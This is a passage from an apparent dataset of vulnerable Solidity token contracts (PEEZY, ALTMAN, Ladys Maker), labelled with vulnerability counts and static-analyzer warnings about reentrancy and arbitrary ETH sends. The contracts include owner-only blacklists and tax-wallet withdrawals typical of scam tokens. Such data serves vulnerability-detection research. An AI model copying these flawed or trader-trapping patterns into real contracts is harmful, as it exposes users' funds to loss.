_balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 75403e3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 5fd29ce\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b9a5a2d\n\t\t// reentrancy-events | ID: 5fd29ce\n\t\t// reentrancy-benign | ID: 3e7476a\n\t\t// reentrancy-eth | ID: 75403e3\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 50c51d1): PEEZY.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 50c51d1: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b9a5a2d\n\t\t// reentrancy-events | ID: 5fd29ce\n\t\t// reentrancy-eth | ID: 75403e3\n\t\t// arbitrary-send-eth | ID: 50c51d1\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a1d0a55): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a1d0a55: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f86e8ec): PEEZY.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f86e8ec: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f37c06d): PEEZY.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f37c06d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ee5246c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ee5246c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: a1d0a55\n\t\t// reentrancy-eth | ID: ee5246c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: a1d0a55\n\t\t// unused-return | ID: f86e8ec\n\t\t// reentrancy-eth | ID: ee5246c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: a1d0a55\n\t\t// unused-return | ID: f37c06d\n\t\t// reentrancy-eth | ID: ee5246c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: a1d0a55\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ee5246c\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10837.sol",
"size_bytes": 20334,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract ALTMAN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cd07d09): ALTMAN._taxWallet should be immutable \n\t// Recommendation for cd07d09: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: a5c87b2): ALTMAN._initialBuyTax should be constant \n\t// Recommendation for a5c87b2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: db66c0d): ALTMAN._initialSellTax should be constant \n\t// Recommendation for db66c0d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9b2c326): ALTMAN._reduceBuyTaxAt should be constant \n\t// Recommendation for 9b2c326: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: c5764b0): ALTMAN._reduceSellTaxAt should be constant \n\t// Recommendation for c5764b0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5a35497): ALTMAN._preventSwapBefore should be constant \n\t// Recommendation for 5a35497: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 21;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"SAM ALTMAN\";\n\n string private constant _symbol = unicode\"ALTMAN\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b66c9df): ALTMAN._taxSwapThreshold should be constant \n\t// Recommendation for b66c9df: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b2b59c7): ALTMAN._maxTaxSwap should be constant \n\t// Recommendation for b2b59c7: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 14000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f0511f6): ALTMAN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f0511f6: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f7fbeea): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f7fbeea: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: abf62e5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for abf62e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f7fbeea\n\t\t// reentrancy-benign | ID: abf62e5\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f7fbeea\n\t\t// reentrancy-benign | ID: abf62e5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5cdeae9): ALTMAN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5cdeae9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: abf62e5\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f7fbeea\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8997a14): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8997a14: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 22e97c5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 22e97c5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 8997a14\n\t\t\t\t// reentrancy-eth | ID: 22e97c5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8997a14\n\t\t\t\t\t// reentrancy-eth | ID: 22e97c5\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 22e97c5\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 22e97c5\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 22e97c5\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8997a14\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 22e97c5\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 22e97c5\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8997a14\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f7fbeea\n\t\t// reentrancy-events | ID: 8997a14\n\t\t// reentrancy-benign | ID: abf62e5\n\t\t// reentrancy-eth | ID: 22e97c5\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b1dfa36): ALTMAN.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for b1dfa36: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f7fbeea\n\t\t// reentrancy-events | ID: 8997a14\n\t\t// reentrancy-eth | ID: 22e97c5\n\t\t// arbitrary-send-eth | ID: b1dfa36\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e1354be): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e1354be: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7f10b3d): ALTMAN.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7f10b3d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6aa5bcd): ALTMAN.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 6aa5bcd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9b4e40f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9b4e40f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e1354be\n\t\t// reentrancy-eth | ID: 9b4e40f\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e1354be\n\t\t// unused-return | ID: 6aa5bcd\n\t\t// reentrancy-eth | ID: 9b4e40f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e1354be\n\t\t// unused-return | ID: 7f10b3d\n\t\t// reentrancy-eth | ID: 9b4e40f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e1354be\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 9b4e40f\n tradingOpen = true;\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function reduceFees(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10838.sol",
"size_bytes": 20514,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract LadysMakerToken is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2921936): LadysMakerToken._taxWallet should be immutable \n\t// Recommendation for 2921936: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: b1d1ffe): LadysMakerToken._initialBuyTax should be constant \n\t// Recommendation for b1d1ffe: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 902143d): LadysMakerToken._initialSellTax should be constant \n\t// Recommendation for 902143d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c364236): LadysMakerToken._reduceBuyTaxAt should be constant \n\t// Recommendation for c364236: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c9d2c5): LadysMakerToken._reduceSellTaxAt should be constant \n\t// Recommendation for 1c9d2c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: fde082f): LadysMakerToken._preventSwapBefore should be constant \n\t// Recommendation for fde082f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Ladys Maker\";\n\n string private constant _symbol = unicode\"MALIDY\";\n\n uint256 public _maxTxAmount = 6310350000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 6310350000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 208c5e9): LadysMakerToken._taxSwapThreshold should be constant \n\t// Recommendation for 208c5e9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d2474ee): LadysMakerToken._maxTaxSwap should be constant \n\t// Recommendation for d2474ee: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a15588f): LadysMakerToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a15588f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 199f43d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation 